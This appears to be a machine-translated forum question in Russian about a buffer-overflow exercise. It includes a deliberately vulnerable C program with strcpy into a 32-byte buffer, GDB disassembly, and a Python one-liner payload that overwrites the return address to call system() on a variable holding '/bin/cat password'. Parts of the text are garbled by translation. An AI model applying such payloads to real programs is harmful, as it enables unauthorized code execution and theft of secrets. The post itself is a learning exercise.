Как исправить ошибку «заказ не найден» в GDB - PullRequest
0 голосов
/ 05 июля 2019

Я пытаюсь выполнить переполнение буфера, которое управляет потоком программы для вызова функции, которая обычно не вызывается.(Это хорошо работает) Кроме того, в этой функции есть функция печати, которая печатает строку, я также должен изменить аргумент в ней на переменную, которая содержит путь к цели.

Я успешно изменилсяПрограмма потока и может вызвать метод печати.Но не с правильным аргументом.Я попытался вставить адрес переменной (найден через 'info address cmd'), но это не сработало.

Я посмотрел на стопку перед самой печатью, и она должна работать ...

C-код:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char cmd[] = "/bin/cat password";

void target()
{
    system("/bin/echo 'Have a nice day!'");
}

void copy(char *str)
{
    char buf[32];
    strcpy(buf, str);
}

int main(int argc, char *argv[])
{
    if (argc < 2)
        return -1;

    copy(argv[1]);

    return 0;
}

Мой аргумент:

(gdb) set args `python -c" print '7' * 44 + '\ x49 \ x84\ x04 \ x08 '+' \ x60 \ x3a \ xf7 \ xb7 '"`

Последние 4 символа являются адресом переменной cmd.

disass:

(gdb) disass
Dump of assembler code for function target:
   0x0804843b <+0>: push   ebp
   0x0804843c <+1>: mov    ebp,esp
   0x0804843e <+3>: sub    esp,0x8
   0x08048441 <+6>: sub    esp,0xc
   0x08048444 <+9>: push   0x8048530
=> 0x08048449 <+14>:    call   0x8048310 <system@plt>
   0x0804844e <+19>:    add    esp,0x10
   0x08048451 <+22>:    nop
   0x08048452 <+23>:    leave  
   0x08048453 <+24>:    ret    
End of assembler dump.

Я сделал точку останова на 0x08048444 (я также изменил аргументы, чтобы вызывать это).Затем я изучил стек и сделал nexti.Я снова проверил и увидел, что в него втолкнули 0x8048530 (что напоминает "Хорошего дня!"cmd. Замена push-адреса адресом по моему выбору (который должен быть распечатан и раскрыть пароль)

Но вывод:

sh: 1: order: not found

Так что я не знаю, где моя ошибка. Неправильно ли указан адрес?-c "print '7' * 44 + '\ x49 \ x84 \ x04 \ x08' + '\ x20 \ xa0 \ x04 \ x08'" `

и получил:

sh: 1: ����: не найдено

Таким образом, в сообщении об ошибке напечатаны сами символы. Я пытался решить эту проблему в течение 2 дней подряд. Поиск в Google не произошелприносить любые полезные результаты для меня. Любая помощь и предложение приветствуется:)

...